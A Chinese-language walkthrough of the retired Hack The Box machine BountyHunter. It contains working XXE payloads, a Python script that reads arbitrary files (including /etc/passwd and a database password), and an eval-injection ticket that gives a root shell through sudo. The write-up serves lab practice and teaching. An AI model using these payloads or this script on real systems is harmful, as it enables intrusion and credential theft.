信息 | |
---|---|
系统 | Linux |
难度 | Easy |
状态 | 退役 |
IP | 10.10.11.100 |
靶机地址 | https://app.hackthebox.com/machines/359 |
XXE, Python eval
端口扫描
Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-20 19:36 CST
Nmap scan report for 10.10.11.100
Host is up (0.0036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
----------------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
主要突破口在web80
端口.
目录扫描
root@koi:~/Hackthebox/BountyHunter# feroxbuster --url http://$IP -x php -x txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ? ver: 2.10.1
200 GET 5l 15w 125c http://10.10.11.100/portal.php
200 GET 0l 0w 0c http://10.10.11.100/db.php
200 GET 6l 34w 210c http://10.10.11.100/resources/README.txt
200 GET 388l 1470w 25169c http://10.10.11.100/index.php
访问README.txt
,得到如下信息
# curl http://10.10.11.100/resources/README.txt
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
访问portal.php
可以跳转到log_submit.php
漏洞利用
随便提交一些数据,通过Burpsuite抓包得到被URL和Base64编码的一串字符串
将其解码之后可以得到
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>1</title>
<cwe>1</cwe>
<cvss>1</cvss>
<reward>1</reward>
</bugreport>
是xml数据,和xml相关的web漏洞有XXE
使用常见的XXE Payload测试
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<reward>&file;</reward>
</bugreport>
对Payload先进行base64编码,再进行url编码,赋值给data发包即可获得/etc/passwd
的内容(应该存在两个用户),存在XXE漏洞
...
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
通过测试,该xxe漏洞应该是不存在命令执行漏洞
因此只能通过读取文件了
写一个Python脚本方便读取文件
import requests
import base64
import re
import argparse
url = "http://10.10.11.100/tracker_diRbPr00f314.php"
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", help="file to read")
args = parser.parse_args()
fname = args.file
xml = f"""<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource={fname}"> ]>
<bugreport>
<title>&file;</title>
</bugreport>
""".encode()
payload_b64en = base64.b64encode(xml).decode()
data = {
"data": payload_b64en
}
resp = requests.post(url, data=data)
re_res = re.findall(r'<td>(.*)</td>',resp.text)
print(base64.b64decode(re_res[1].encode()).decode())
运行脚本python3 xxe.py -f [filename]
之前目录扫描到的有db.php
└─\ ✨ python3 xxe.py -f db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
使用m19RoAU0hP41A1sTsq6K
作为用户development
的密码,使用ssh登陆
ssh development@10.10.11.100
password: m19RoAU0hP41A1sTsq6K
提权
目录下有文件contract.txt
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
sudo -l
起手式
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
和文件 /opt/skytrain_inc/ticketValidator.py
有关,当前用户可读该文件
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
漏洞利用点肯定是在validationNumber = eval(x.replace("**", ""))
注意几个关键的判断点:
if loc.endswith(".md"):
if not x.startswith("# Skytrain Inc"):
if not x.startswith("## Ticket to "):
x.startswith("__Ticket Code:__"):
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
需是md文件,第一行为# Skytrain Inc
,第二行为## Ticket to
,第三行为__Ticket Code:__
,接着要以`**开头,数字对7模4
最后构造的Payload为
# Skytrain Inc
## Ticket to
__Ticket Code:__
**11+ __import__('os').system('/bin/bash')
执行python代码即可成功提权
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
shell.md
Destination:
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)